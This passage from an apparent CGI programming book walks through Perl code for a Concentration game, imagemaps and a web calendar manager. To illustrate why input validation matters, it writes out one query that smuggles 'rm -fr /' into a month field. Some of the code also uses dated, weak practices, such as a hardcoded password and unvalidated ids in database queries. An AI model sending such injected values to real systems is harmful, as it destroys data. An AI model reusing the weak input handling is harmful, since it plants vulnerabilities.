    $URL_query = join ("%", @game_board);
    return ($URL_query, $user_choices);
}

Finally, the decoded query string and the string consisting of the user choices are returned.

Here is the most complicated part of the program--the draw_current_board subroutine that checks for tiles that match, and then updates the board to reflect this. For each tile, the subroutine has to decide whether to turn it up (display the hidden value) or down (in which case it has a link so the user can click on it and continue the game). When a link is added, it must contain the state of the entire 16 tiles, plus information on which tile if any is currently selected.

sub draw_current_board
{
    local (*game_board, $URL_query, $user_choices) = @_;
    local ($one, $two, $count, $script, $URL, $outer, $inner, $index, $anchor);
    ($one, $two) = split (/%/, $user_choices);

The user choice string (i.e.,"1%2") is split on the "%" delimiter and each choice is stored in a separate variable.

    $count = 0;

The $count variable is initialized to zero. It is used to keep track of the total number of matched tiles on the board. If that is equal to 16, the user has won the game.

    if ( int ($game_board[$one]) == int ($game_board[$two]) ) {
        $game_board[$one] = join ("", $game_board[$one], "+");
        $game_board[$two] = join ("", $game_board[$two], "+");
    }

If the two user choices match the values stored in the board array, a "+" is added to each position in the array. Remember, before the user selects a tile, the query string will look like this (for tile number 1):

http://some.machine/cgi-bin/concentration.pl?
%258%c8%7d0%834%578%4b0%a8c%dac%ce4%bb8%1450%2bc%ea6%960%6a4%708%1%0

And for tile number 2, it will have the following format:

http://some.machine/cgi-bin/concentration.pl?
%258%c8%7d0%834%578%4b0%a8c%dac%ce4%bb8%1450%2bc%ea6%960%6a4%708%2%0

Notice how the next-to-last number indicates the tile number. After the user selects a second tile (say tile number 4), the query string for tile number 1 will look like this:

http://some.machine/cgi-bin/concentration.pl?
%258%c8%7d0%834%578%4b0%a8c%dac%ce4%bb8%1450%2bc%ea6%960%6a4%708%1%4

If the values stored under tiles 1 and 4 match, the program will append a "+" to indicate a match, so that there is no hypertext link created for these tiles.

    $URL_query = &build_decoded_query (*game_board);

A query based on the current board configuration is created by calling the build_decoded_query subroutine, just as we did when the game started.

    $script = $ENV{'SCRIPT_NAME'};
    $URL = join ("", $script, "?", $URL_query);
    for ($outer=1; $outer <= 4; $outer++) {
        for ($inner=1; $inner <= 4; $inner++) {
            $index = (4 * ($outer - 1)) + $inner;

The two loops iterate through the board array four elements at a time.

            if ($game_board[$index] =~ /\+/) {
                $game_board[$index] =~ s/\+//;
                &build (sprintf ("%02d", $game_board[$index]),
                                           $spaces);
                $count++;

If the value in the board contains a "+", the count is incremented, and the actual value behind the tile is displayed. No hypertext link is attached to the tile, because the user is not supposed to select the tile again.

            } elsif ( ($index == $one) || ($index == $two) ) {
                &build (sprintf ("%02d", $game_board[$index]),
                                          $spaces);

The value of a tile is displayed if the loop index equals the tile that is selected by the user. Remember, if the two tiles that are selected by the user do not match, they are "closed."

            } else {
                if ($one && $two) {
                    $anchor = join("%", "", $index, "0");
                } else {
                    $anchor = join("%", "", $one, $index);
                }

You have to take a minute to think about when this else clause executes. The current tile has not been turned up because of a successful match (that happened during the if block) nor is it currently selected (that happened during the elsif block). So we know that the tile is turned down, and that we want to attach a hypertext link so that the user can select it.

The only question is what to put in the user selections. If both $one and $two are set, we know that the user selected two tiles and that we are starting over. Therefore, we want to display "1%0" for tile number 1, "2%0" for tile number 2, and so on. That happens in the if block. If one tile has been chosen, we want to record that tile and the current tile. For instance, if the user selects tile 1, we want tile 7 to contain "1%7" as the user selections. This happens in the else block.

                &build(qq|<A HREF="$URL$anchor">**</A>|, $spaces);
            }
        }
        &build ("\n\n");
    }

A hypertext link is generated for all of the other tiles that are turned down.

    if ($count == 16) {
        &build ("<HR>You Win!\nIf you want to play again, ");
        &build (qq|click <A HREF="$script">here</A><BR>|);
    }
}

Finally, if the count is 16, which means that the user has matched all 8 pairs, a victory message is displayed.

The last subroutine we will discuss manipulates the $display variable to show images if a graphic browser is being used.

sub display_board
{
    local ($client_browser, $nongraphic_browsers);
    $client_browser = $ENV{'HTTP_USER_AGENT'};
    $nongraphic_browsers = 'Lynx|CERN-LineMode';
    print "Content-type: text/html", "\n\n";
    if ($client_browser =~ /$nongraphic_browsers/) {
            print "Welcome to the game of Concentration!", "\n";
        } else {
        print qq|<IMG SRC="$images_dir/concentration.gif">|;
        $display =~ s|\*\*</A>|<IMG SRC="$images_dir/question.gif"></A> |g;
        $display =~ s|(\d+)\s|<IMG SRC="$images_dir/$1.gif">   |g;

The string "**" is replaced with the "question.gif" image, and each number found (indicating either a match or a selection) is substituted with an appropriate "gif" image ("01.gif" for the value 01, and so on).

        $display =~ s|\n\n|\n\n\n|g;
        $display =~ s|You Win!|<IMG SRC="$images_dir/win.gif">|g;
    }
    print "<HR>", "<PRE>", "\n";
    print $display, "\n";
    print "</PRE>", "<HR>", "\n";
}

The variable $display is sent to the browser for output. The <PRE> tags allow the formatting to remain intact. In other words, spaces and newline are preserved.

Previous | Home | Next
Animated Clock | Book Index | Introduction to Imagemaps
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.3 Introduction to Imagemaps

CGI Programming on the World Wide Web

Previous Chapter 11
Advanced and Creative CGI Applications 		Next

11.3 Introduction to Imagemaps

You've almost certainly seen imagemaps on your trips across the Web. They are pictures with different parts that you can click, and each part takes you to a different URL. Imagemaps let web sites offer pictorial melanges where you can select where you want to go, as an alternative to presenting a boring list of text items.

In this book, the imagemap is generated and interpreted within the program. But you should probably see how most people use conventional imagemaps. They start with a crisp graphic image (preferably GIF, as it is more portable than JPEG). Once they select an image, they must define various hotspots (or areas where users can click), and identify them in an imagemap file in the following format:

    shape URL coordinate1, coordinate2, ... coordinaten

where shape can be "circle," "poly," or "rect"; URL is the file you want to display in response to the user's click; and the coordinates are measured in pixels. Programs exist to help you determine the coordinates of the regions you want to mark within an image. Here is an example of an imagemap file (the following applies to the NCSA server only):

default http://my.company.com
rect http://some.machine.com 0, 0, 50, 50
poly http://www.machine.com/graphic.gif 100, 120, 230, 250, 320, 75
circle http://their.machine.com/circle.gif 100, 100, 150, 150, 100

The next step is to edit the imagemap.conf configuration file and add an entry like the following:[1]

[1] Modern versions of the NCSA HTTPd server no longer use the imagemap.conf file. You can pass the map file as extra path information to the imagemap program directly, like so:

<A HREF="/cgi-bin/imagemap/graphics/dragon.map">
<IMG SRC="/graphics/dragon.gif" ISMAP>
where the map file (dragon.map) is stored in the /graphics directory. Note that this is a virtual path.

    dragon: /graphics/dragon.map

The first part of this statement is the name of the imagemap, while the second part is the relative path to the imagemap data file. Now, the imagemap is all but set up. The only step that needs to be performed is to add the appropriate HTML in a document to access the imagemap:

    <A HREF="/cgi-bin/imagemap/dragon"><IMG SRC="/graphics/dragon.gif" ISMAP></A>

When the user clicks on a point in the image, the client sends the coordinates as query information, and the imagemap name as an extra path to the imagemap CGI program (which comes with most servers). Here is what a typical HTTP client request might look like:

    GET /cgi-bin/imagemap/dragon?53,87

First, the CGI program reads the imagemap configuration file, in order to determine the imagemap data file for the clicked image. It then opens the data file and determines the appropriate URL to access. This is a very inefficient process, as two separate files have to be opened. As a result, many webmasters do not allow users to set up imagemaps.

While this should be enough information to get you started with imagemaps, we will do something much more efficient and fun in our last example--we'll generate the imagemap without using auxiliary files.

Previous | Home | Next
Game of Concentration | Book Index | Calendar Manager
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.4 Calendar Manager

CGI Programming on the World Wide Web

Previous Chapter 11
Advanced and Creative CGI Applications 		Next

11.4 Calendar Manager

As the final example for this book, we will look at a very complicated program that uses a combination of CGI techniques: database manipulation, recursive program invocation, and virtual imagemaps.

What are virtual imagemaps? As we explained in the previous section, most people who provide images for users to click on have to store information about the imagemap in a file. The program I'm about to show you, however, determines the region in which the user clicked, and performs the appropriate action on the fly--without using any auxiliary files or scripts. Let's discuss the implementation of these techniques more thoroughly.

If a graphic browser is used to access this Calendar program, an imagemap of the current calendar is displayed listing all appointments. When an area on the image is clicked, the program calculates the date that corresponds to that region, and displays all the appointments for that date. Another important thing to note about the program is the way in which the imagemap is created--the script is actually executed twice (more on this later). Figure 11.4 shows a typical image of the calendar.

Figure 11.4: Calendar on graphics browser

[Graphic: Figure 11-4]

If the user accesses this program with a text browser, a text version of the calendar is displayed. You have seen this kind of dual use in a lot of programs in this book; you should design programs so that users with both types of browsers can access and use a CGI program. The text output is shown in Figure 11.5.

Figure 11.5: Calendar on text browser

[Graphic: Figure 11-5]

Since the same program handles many types of queries and offers a lot of forms and displays, it can be invoked in several different ways. Most users will start by clicking on a simple link without a query string, which causes an imagemap (or text equivalent, for non-graphics browsers) of the current month to be displayed:

http://some.machine/cgi-bin/calendar.pl

If the user then selects the "Full Year Calendar" option, the following query is passed:

http://some.machine/cgi-bin/calendar.pl?action=full

When the user clicks an area on the image (or selects a link on the text calendar), the following query is sent:

 http://some.machine/cgi-bin/calendar.pl?action=view&date=5&month=11/1995

The program will then display all the appointments for that date. The month field stores the selected month and year. Calendar Manager allows the user to set up appointments for any month, so it is always necessary to store the month and year information.

To be useful, of course, this program has to do more than offer a view of the calendar. It must allow changes and searches as well. Four actions are offered:

  • Add an appointment

  • Delete an appointment

  • Change an appointment

  • Search the appointments by keyword

Each method uses a different query to invoke the program. For instance, a search passes a URL and query information like this:

   http://some.machine/cgi-bin/calendar.pl?action=search&type=form&month=11/1995

This will display a form where the user can enter a search string. The type field indicates the type of action to perform. The reason we use both action and type fields is that each action involves two steps, and the type field reflects these steps.

For instance, suppose the user asks to add an appointment. The program is invoked with type=form, causing it to display a form in which the user can enter all the information about the appointment. When the user submits the form, the program is invoked with the field type=execute. This causes the program to issue an SQL command that inserts the appointment into the database. Both steps invoke the program with the action=add field, but they can be distinguished by the type field.

When the user fills out and submits this form, the query information passed to this program is:

http://some.machine/cgi-bin/calendar.pl?action=search&type=execute&month=11/1995

The string "?action=search&type=execute&month=11/1995" is stored in QUERY_STRING, while the information in the form is sent as a POST stream. We will look at the method of passing information in more detail later on. In this case, the type is equal to execute, which instructs the program to execute the search request.

Let's discuss for a minute the way in which the database is interfaced with this program. All appointments are stored in a text-delimited file, so that an administrator/user can add and modify appointment information by using a text editor. The CGI program uses Sprite to manipulate the information in this file. So this program uses two modules that were introduced in earlier chapters: gd, which was covered in Chapter 6, Hypermedia Documents, and Sprite, which appeared in Chapter 9, Gateways, Databases, and Search/Index Utilities.

Main Program

Enough discussion--let's look at the program:

#!/usr/local/bin/perl5
use GD;
use Sprite;
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$cal = "/usr/bin/cal";

The UNIX cal utility displays a text version of the calendar. See the draw_text_calendar subroutine to see what the output of this command looks like.

$database = "/home/shishir/calendar.db";
$delimiter = "::";

The database uses the "::" string as a delimiter and contains six fields for each calendar event: ID, Month, Day, Year, Keywords, and Description. The ID field uniquely identifies an appointment based on the time of creation. The Month (numerical), Day, and Year are self-explanatory. One thing to note here is that the Year is stored as a four-digit number (i.e., 1995, not 95).

The Keywords field is a short description of the appointment. This is what is displayed on the graphic calendar. And finally, the Description field should contain a more lengthy explanation regarding the appointment. Here is the format for a typical appointment file:

ID::Month::Day::Year::Keywords::Description
796421318::11::02::1995::See Professor::It is important that I see the professor
806421529::11::03::1995::ABC Enterprises::Meet Drs. Bird and McHale about job!!
805762393::11::03::1995::Luncheon Meeting::Travel associates

Now to create and manipulate the data:

($current_month, $current_year) = (localtime(time))[4,5];
$current_month += 1;
$current_year += 1900;

These three statements determine the current month and year. Remember, the month number, as returned by localtime, is zero-based (0-11, instead of 1-12). And the year is returned as a two-digit number (95, instead of 1995).

$action_types = '^(add|delete|modify|search)$';
$delete_password = "CGI Super Source";

The $action_types variable consists of four options that the user can select from the Calendar Manager. The user is asked for a password when the delete option is chosen. Replace this with a password of your choice.

&check_database ();
&parse_query_and_form_data (*CALENDAR);

The check_database subroutine checks for the existence of the calendar database. The database is created if it does not already exist. The parse_query_and_form_data subroutine is called to parse all information from the Calendar Manager, handling both POST and GET queries. As in so many other examples, an associative array proves useful, so that's what CALENDAR is.

$action = $CALENDAR{'action'};
$month = $CALENDAR{'month'};
($temp_month, $temp_year) = split ("/", $month, 2);

The action and month fields are stored in variables. The month and year are split from the month field. As you saw near the beginning of this section, the month field has a format like 11/1995.

if ( ($temp_month =~ /^\d{1,2}$/) && ($temp_year =~ /^\d{4}$/) ) {
    if ( ($temp_month >= 1) && ($temp_month <= 12) ) {
        $current_month = $temp_month;
        $current_year = $temp_year;
    }
}

If the month and year values as specified in the query string are valid numbers, they are stored in $current_month and $current_year. Otherwise, these variables will reflect the current month and year (as defined above). One feature of this program is that it remembers the month that the user most recently clicked or entered in a search form. The month chosen by the user is stored in $current_month so that it becomes the default for future searches.

@month_names = ('January', 'February', 'March', 'April', 'May', 'June',  'July', 'August', 'September', 'October', 'November',  'December');
$weekday_names = "Sun,Mon,Tue,Wed,Thu,Fri,Sat";
$current_month_name = $month_names[$current_month - 1];
$current_month_year = join ("/", $current_month, $current_year);

The $current_month_name variable contains the full name of the specified month. $current_month_year is a string containing the month and year (e.g.,"11/1995").

This completes the initialization. Remember that the program is called afresh each time the user submits a form or clicks on a date, so it runs through this initialization again and potentially changes the current month. But now it is time to handle the action that the user passed in the query.

if ($action eq "full") {
    &display_year_calendar ();

If the user passed the full field, display_year_calendar is called to display the full year calendar.

} elsif ($action eq "view") {
    $date = $CALENDAR{'date'};
    &display_all_appointments ($date);

If the user selects to view the appointments for a certain date, the display_all_appointments routine displays all of the appointments for that date.

} elsif ($action =~ /$action_types/) {
    $type = $CALENDAR{'type'};
    if ($type eq "form") {
        $dynamic_sub = "display_${action}_form";
        &$dynamic_sub ();
    } elsif ($type eq "execute") {
        $dynamic_sub = "${action}_appointment";
        &$dynamic_sub ();
    } else {
        &return_error (500, "Calendar Manager", "An invalid query was passed!");
    }

If the action field contains one of the four actions defined near the beginning of the program, the appropriate subroutine is executed. This is an example of a dynamic subroutine call. For example, if the action is "add" and the type is "form," the $dynamic_sub variable will call the display_add_form subroutine. This is much more compact than to conditionally compare all possible values.

} else {
    &display_month_calendar ();
}
exit (0);

If no query is passed (or the query does not match the ones above), the display_month_calendar subroutine is called to output the current calendar in the appropriate format, either as a graphic imagemap or as plain text.

The Database

In the rest of this chapter I'm going to explain the various subroutines that set and retrieve data, create a display, and parse input. We'll start with some database functions. You'll also find incidental routines here, which I've written as conveniences because their functions appear so often.

The following subroutine checks to see if the calendar database exists. If not, we create one. This job is simple, since we're using a flat file with Sprite as an interface: we just open a file with the desired name and write a one-line header.

sub check_database
{
        local ($exclusive_lock, $unlock, $header);
        $exclusive_lock = 2;
        $unlock = 8;
        if (! (-e $database) ) {
                if ( open (DATABASE, ">" . $database) ) {
                        flock (DATABASE, $exclusive_lock);
                        $header = join ($delimiter, "ID", "Month", "Day",
                                        "Year", "Keywords", "Description");
                        print DATABASE $header, "\n";
                        flock (DATABASE, $unlock);
                        close (DATABASE);
                } else {
                        &return_error (500, "Calendar Manager",
                                "Cannot create new calendar database.");
                }
        }
}

If the database does not exist, a header line is output:

ID::Month::Day::Year::Keywords::Description

The following subroutine just returns an error; it is defined for convenience and used in open_database.

sub Sprite_error
{
    &return_error (500, "Calendar Manager",
          "Sprite Database Error. Check the server log file.");
}

The open_database subroutine passes an SQL statement to the Sprite database.

sub open_database
{
    local (*INFO, $command, $rdb_query) = @_;
    local ($rdb, $status, $no_matches);

This subroutine accepts three arguments: a reference to an array, the SQL command name, and the actual query to execute. A typical call to the subroutine looks like:

    &open_database (undef, "insert", <<End_of_Insert);
insert into $database
   (ID, Day, Month, Year, Keywords, Description)
values
   ($time, $date, $current_month, $current_year, '$keywords', '$description')
End_of_Insert

The third argument looks strange because it's telling the subroutine to read the query on the following lines. In other words, the SQL query lies between the call to open_database and the text on the closing line, End_of_Insert. The effect is to insert a new appointment containing information passed by the user. Remember, we would also have to escape single and double quotes in the field values.

    $rdb = new Sprite ();
    $rdb->set_delimiter ("Read",  $delimiter);
    $rdb->set_delimiter ("Write", $delimiter);

This creates a new Sprite database object, and sets the read and write delimiters to the value stored in $delimiter (in this case, "::").

    if ($command eq "select") {
        @INFO = $rdb->sql ($rdb_query);
        $status = shift (@INFO);
        $no_matches = scalar (@INFO);
        $rdb->close ();

If the user passed a select command, the query is executed with the sql method (in object-oriented programming, "method" is a glorified term for a subroutine). We treat the select commands separately from other commands because it doesn't change the database, but just returns data. All other commands modify the database.

The INFO array contains the status of the request (success or failure) in its first element, followed by other elements containing the records that matched the specified criteria. The status and the number of matches are stored.

        if (!$status) {
            &Sprite_error ();
        } else {
            return ($no_matches);
        }

If the status is zero, the Sprite_error subroutine is called to output an error. Otherwise, the number of matches is returned.

    } else {
        $rdb->sql ($rdb_query) || &Sprite_error ();
        $rdb->close ($database);
    }
}

If the user passes a command other than select (in other words, a command that modifies the database), the program executes it and saves the resulting database.

Now, we will look at three very simple subroutines that output the header, the footer, and the "Location:" HTTP header, respectively.

sub print_header
{
    local ($title, $header) = @_;
    print "Content-type: text/html", "\n\n";
        print "<HTML>", "\n";
    print "<HEAD><TITLE>", $title, "</TITLE></HEAD>", "\n";
        print "<BODY>", "\n";
    $header = $title unless ($header);
    print "<H1>", $header, "</H1>", "\n";
    print "<HR>", "\n";
}

The print_header subroutine accepts two arguments: the title and the header. If no header is specified, the title of the document is used as the header.

The next subroutine outputs a plain footer. It is used at the end of forms and displays.

sub print_footer
{
    print "<HR>", "\n";
    print "<ADDRESS>", $webmaster, "</ADDRESS>", "\n";
        print "</BODY></HTML>", "\n";
}

Finally, the Location: header, which we described in Chapter 3, is output by the print_location subroutine after an add, delete, or modify request. By passing a URL in the Location: header, we make the server re-execute the program so that the user sees an initial Calendar page again.

sub print_location
{
    local ($location_URL);
    $location_URL = join ("", $ENV{'SCRIPT_NAME'},                  "?",
                              "browser=", $ENV{'HTTP_USER_AGENT'},  "&",
                              "month=", $current_month_year);
    print "Location: ", $location_URL, "\n\n";
}

This is a very important subroutine, though it may look very simple. The subroutine outputs the Location: HTTP header with a query string that contains the browser name and the specified month and year. The reason we need to supply the browser name is that the HTTP_USER_AGENT environment variable does not get set when there is a URL redirection. When the server gets this script and executes it, it does not set the HTTP_USER_AGENT variable. So this program will not know the user's browser type unless we include the information.

Forms and Displays

In this section you'll find subroutines that figure out what the user has asked for and display the proper output. All searches, additions, and so forth take place here. Usually, a database operation takes place in two steps: one subroutine displays a form, while another accepts input from the form and accesses the database.

Let's start out with display_year_calendar, which displays the full year calendar.

sub display_year_calendar
{
    local (@full_year);
    @full_year = `$cal $current_year`;

If the cal command is specified without a month number, a full year is displayed. The `backtics` execute the command and store the output in the specified variable. Since the variable $current_year can be based on the month field in the query string, it is important to check to see that it does not contain any shell metacharacters. What if some user passed the following query to this program?

http://some.machine/cgi-bin/calendar.pl?action=full&month=11/1995;rm%20-fr%20/

It can be quite dangerous! You might be wondering where we are checking for shell metacharacters. Look back at the beginning of this program, where we made sure that the month and year are decimal numbers.

The output from cal is stored in the @full_year array, one line per element. Now we trim the output.

    @full_year = @full_year[5..$#full_year-3];

The first four and last three lines from the output are discarded, as they contain extra newline characters. The array will contain information in the following format:

                                1995
         Jan                    Feb                    Mar
 S  M Tu  W Th  F  S    S  M Tu  W Th  F  S    S  M Tu  W Th  F  S
 1  2  3  4  5  6  7             1  2  3  4             1  2  3  4
 8  9 10 11 12 13 14    5  6  7  8  9 10 11    5  6  7  8  9 10 11
15 16 17 18 19 20 21   12 13 14 15 16 17 18   12 13 14 15 16 17 18
22 23 24 25 26 27 28   19 20 21 22 23 24 25   19 20 21 22 23 24 25
29 30 31               26 27 28               26 27 28 29 30 31
.
.
.

Let's move on.

    grep (s|(\w{3})|<B>$1</B>|g, @full_year);

This might look like some deep magic. But it is actually quite a simple construct. The grep iterates through each line of the array, and adds the <B>..</B> tags to strings that are three characters long. In this case, the strings correspond to the month names. This one line statement is equivalent to the following:

foreach (@full_year) {
    s|(\w{3})|<B>$1</B>|g;
}

Now, here is the rest of this subroutine, which simply outputs the calendar.

    &print_header ("Calendar for $current_year");
    print "<PRE>", @full_year, "</PRE>", "\n";
    &print_footer ();
}

The following subroutine displays the search form. It is pretty straightforward. The only dynamic information in this form is the query string.

sub display_search_form
{
    local ($search_URL);
    $search_URL = join ("", $ENV{'SCRIPT_NAME'},  "?",
                            "action=search",      "&",
                            "type=execute",       "&",
                            "month=", $current_month_year);

The query string sets the type field to execute, which means that this program will call the search_appointment subroutine to search the database when this form is submitted. The month and year are also set; this information is passed back and forth between all the forms, so that the user can safely view and modify the calendars for months other than the current month.

    &print_header ("Calendar Search");
    print <<End_of_Search_Form;
This form allows you to search the calendar database for certain information. The Keywords and Description fields are searched for the string you enter.
<P>
<FORM ACTION="$search_URL" METHOD="POST"> Enter the string you would like to search for: <P>
<INPUT TYPE="text" NAME="search_string" SIZE=40 MAXLENGTH=40> <P>
Please enter the <B>numerical</B> month and the year in which to search. Leaving these fields empty will default to the current month and year: <P>
<PRE>
Month: <INPUT TYPE="text" NAME="search_month" SIZE=4 MAXLENGTH=4><BR> Year: <INPUT TYPE="text" NAME="search_year" SIZE=4 MAXLENGTH=4> </PRE>
<P>
<INPUT TYPE="submit" VALUE="Search the Calendar!"> <INPUT TYPE="reset" VALUE="Clear the form"> </FORM>
End_of_Search_Form
    &print_footer ();
}

Here is the subroutine that actually performs the search:

sub search_appointment
{
    local ($search_string, $search_month, $search_year, @RESULTS,
           $matches, $loop, $day, $month, $year, $keywords,
           $description, $search_URL, $month_name);
    $search_string = $CALENDAR{'search_string'};
    $search_month = $CALENDAR{'search_month'};
    $search_year = $CALENDAR{'search_year'};

Three variables are declared to hold the form information. We could have used the information from the CALENDAR associative array directly, without declaring these variables. This is done purely for a visual effect; the code looks much neater.

    if ( ($search_month < 1) || ($search_month > 12) ) {
        $CALENDAR{'search_month'} = $search_month = $current_month;
    }

If no month number was specified, or if the month is not in the valid range, it is set to the value stored in $current_month. This value may or may not be the actual month in which the user is running the program. The user changes $current_month by specifying a search for a different month.

    if ($search_year !~ /^\d{2,4}$/) {
        $CALENDAR{'search_year'} = $search_year = $current_year;
    } elsif (length ($search_year) < 4) {
        $CALENDAR{'search_year'} = $search_year += 1900;
    }

If the year is not specified, or if it does not contain at least two digits, it is set to $current_year. And if the length of the year field is less than 4, 1900 is added.

    $search_string =~ s/(\W)/\\$1/g;
    $matches = &open_database (*RESULTS, "select", <<End_of_Select);
select Day, Month, Year, Keywords, Description from $database
where ( (Keywords =~ /$search_string/i) or
        (Description =~  /$search_string/i) )   and
        (Month       =   $search_month)         and
        (Year        =   $search_year)
End_of_Select

The open_database subroutine is called to search the database for any records that match the specified criteria. The RESULTS array will contain the Day, Month, Year, Keywords, and Description fields for the matched records.

    unless ($matches) {
        &return_error (500, "Calendar Manager",
              "No appointments containing $search_string are found.");
    }

If there are no records that match the search information specified by the user, an error message is output.

    &print_header ("Search Results for: $search_string");
    for ($loop=0; $loop < $matches; $loop++) {
    $RESULTS[$loop] =~ s/([^\w\s\0])/sprintf ("&#%d;", ord ($1))/ge;
        ($day, $month, $year, $keywords, $description) =
                split (/\0/, $RESULTS[$loop], 5);
        $search_URL = join ("", $ENV{'SCRIPT_NAME'},  "?",
                                "action=view",        "&",
                                "date=", $day,        "&",
                                "month=", $month, "/", $year);
        $keywords = "No Keywords Specified!"   unless ($keywords);
        $description = "-- No Description --"  unless ($description);
        $description =~ s/&#60;BR&#62;/<BR>/g;
        $month_name = $month_name[$month - 1];
        print <<End_of_Appointment;
<A HREF="$search_URL">$current_month_name $day, $year</A><BR> <B>$keywords</B><BR>
$description
End_of_Appointment

The for loop iterates through the RESULTS array, and creates a hypertext link with a query string for each appointment. This will allow the user to just click the appointment to get a list of all the appointments for that date. (You may remember that, at the very beginning of this section, we showed how to retrieve appointments for a particular day by passing an action field along with date and month fields).

        print "<HR>" if ($loop < $matches - 1);
    }
    &print_footer ();
}

A horizontal rule is output after each record, except after the last one. This is because the print_footer subroutine outputs a horizontal rule as well.

Now, let's look at the form that is displayed when the "Add New Appointment!" link is selected.

sub display_add_form
{
    local ($add_URL, $date, $message);
    $date = $CALENDAR{'date'};
    $message = join ("", "Adding Appointment for ",
                         $current_month_name, " ", $date, ", ", $current_year);
    $add_URL = join ("", $ENV{'SCRIPT_NAME'},           "?",
                         "action=add",                  "&",
                         "type=execute",                "&",
                         "month=", $current_month_year, "&",
                         "date=", $date);

When the add option is selected by the user, the following query is passed to this program (see the display_all_appointments subroutine):

http://some.machine/cgi-bin/calendar.pl?action=add&type=form&month=11/1995&date=10

Before this subroutine is called, the main program sets the variables $current_month_name and so on.

This information is used to build another query string that will be passed to this program when the form is submitted.

    &print_header ("Add Appointment", $message);
    print <<End_of_Add_Form;
This form allows you to enter an appointment to be stored in the calendar database.
To make it easier for you to search for specific appointments later on, please use descriptive words to describe an appointment. <P>
<FORM ACTION="$add_URL" METHOD="POST"> Enter a brief message (keywords) describing the appointment: <P>
<INPUT TYPE="text" NAME="add_keywords" SIZE=40 MAXLENGTH=40> <P>
Enter some comments about the appointment: <TEXTAREA ROWS=4 COLS=60 NAME="add_description"></TEXTAREA><P> <P>
<INPUT TYPE="submit" VALUE="Add Appointment!"> <INPUT TYPE="reset" VALUE="Clear Form"> </FORM>
End_of_Add_Form
    &print_footer();
}

The add_appointment subroutine adds a record to the calendar database:

sub add_appointment
{
    local ($time, $date, $keywords, $description);
    $time = time;

The $time variable contains the current time, as the number of seconds since 1970. This is used as a unique identification for the record.

    $date = $CALENDAR{'date'};
    ($keywords = $CALENDAR{'add_keywords'}) =~ s/(['"])/\\$1/g;
    ($description = $CALENDAR{'add_description'}) =~ s/\n/<BR>/g;
    $description =~ s/(['"])/\\$1/g;

All newline characters in the description field are converted to <BR>. This is because of the way the Sprite database stores records. Remember, the database is text-delimited, where each field is delimited by a certain string, and each record is terminated by a newline character.

    &open_database (undef, "insert", <<End_of_Insert);
insert into $database
   (ID, Day, Month, Year, Keywords, Description)
values
   ($time, $date, $current_month, $current_year, '$keywords', '$description')
End_of_Insert

The open_database subroutine is called to insert the record into the database. Notice the quotes around the variables $keywords and $description. These are absolutely necessary since the two variables contain string information.

    &print_location ();
}

The display_delete_form subroutine displays a form that asks for a password before an appointment can be deleted. The delete and modify options are available for each appointment. As a result, when you select one of these options, the identification of that appointment is passed to this script, so that the appropriate information can be retrieved quickly and efficiently.

sub display_delete_form
{
    local ($delete_URL, $id);
    $id = $CALENDAR{'id'};
    $delete_URL = join ("", $ENV{'SCRIPT_NAME'}, "?",
                            "action=delete",     "&",
                            "type=execute",      "&",
                            "id=", $id,          "&",
                            "month=", $current_month_year);

When the user selects the delete option in the calendar, the following query is passed to this script:

http://some.machine/cgi-bin/calendar.pl?action=delete&type=form&month=11/ 1995&id=806421529

This query information is used to construct another query that will be passed to this program when the form is submitted.

    &print_header ("Deleting appointment");
    print <<End_of_Delete_Form;

In order to delete calendar entries, you need to enter a valid identification code (or password):

<HR>
<FORM ACTION="$delete_URL" METHOD="POST">
<INPUT TYPE="password" NAME="code" SIZE=40> <P>
<INPUT TYPE="submit" VALUE="Delete Entry!">
<INPUT TYPE="reset" VALUE="Clear the form"> </FORM>
End_of_Delete_Form
    &print_footer ();
}

The following subroutine checks the password that is entered by the user. If the password is valid, the appointment is deleted, and a server redirect is performed, so that the calendar is displayed.

sub delete_appointment
{
    local ($password, $id);
    $password = $CALENDAR{'code'};
    $id = $CALENDAR{'id'};
    if ($password ne $delete_password) {
        &return_error (500, "Calendar Manager",
                            "The password you entered is not valid!");
    } else {
        &open_database (undef, "delete", <<End_of_Delete);
delete from $database
where (ID = $id)
End_of_Delete
    }
    &print_location ();
}

If the password is valid, the record identified by the unique time is deleted from the database. Otherwise, an error message is output.

The display_modify_form subroutine outputs a form that contains the information about the record to be modified. This information is retrieved from the database with the help of the query information that is passed to this script:

http://some.machine/cgi-bin/calendar.pl?action=modify&type=form&month=11/ 1995&id=806421529

Here is the subroutine:

sub display_modify_form
{
    local ($id, $matches, @RESULTS, $keywords, $description, $modify_URL);
    $id = $CALENDAR{'id'};
    $matches = &open_database (*RESULTS, "select", <<End_of_Select);
select Keywords, Description from $database
where (ID = $id)
End_of_Select
    unless ($matches) {
        &return_error (500, "Calendar Manager",
          "Oops! The appointment that you selected no longer exists!");
    }

The identification number is used to retrieve the Keywords and Description fields from the database. If there are no matches, an error message is output. This will happen only if the Calendar Manager is being used by multiple users, and one of them deletes the record pointed to by the identification number.

    ($keywords, $description) = split (/\0/, shift (@RESULTS), 2);
    $keywords = &escape_html ($keywords);
    $description =~ s/<BR>/\n/g;

The appointment keywords and description are obtained from the results. We call the escape_html subroutine to escape certain characters that have a special significance to the browser, and we also convert the <BR> tags in the description back to newlines, so that the user can modify the description.

    $modify_URL = join ("", $ENV{'SCRIPT_NAME'}, "?",
                            "action=modify",     "&",
                            "type=execute",      "&",
                            "id=", $id,          "&",
                            "month=", $current_month_year);
    &print_header ("Modify Form");
    print <<End_of_Modify_Form;
This form allows you to modify the <B>description</B> field for an existing appointment in the calendar database. <P>
<FORM ACTION="$modify_URL" METHOD="POST"> Enter a brief message (keywords) describing the appointment: <P>
<INPUT TYPE="text" NAME="modify_keywords" SIZE=40        VALUE="$keywords" MAXLENGTH=40>
<P>
Enter some comments about the appointment: <TEXTAREA ROWS=4 COLS=60 NAME="modify_description"> $description
</TEXTAREA><P>
<P>
<INPUT TYPE="submit" VALUE="Modify Appointment!"> <INPUT TYPE="reset" VALUE="Clear Form"> </FORM>
End_of_Modify_Form
    &print_footer ();
}

The form containing the values of the selected appointment is displayed. Only the keywords and description fields can be modified by the user. The escape_html subroutine escapes characters in a specified string to prevent the browser from interpreting them.

sub escape_html
{
    local ($string) = @_;
    local (%html_chars, $html_string);
    %html_chars = ('&', '&amp;',
                   '>', '&gt;',
                   '<', '&lt;',
                   '"', '&quot;');
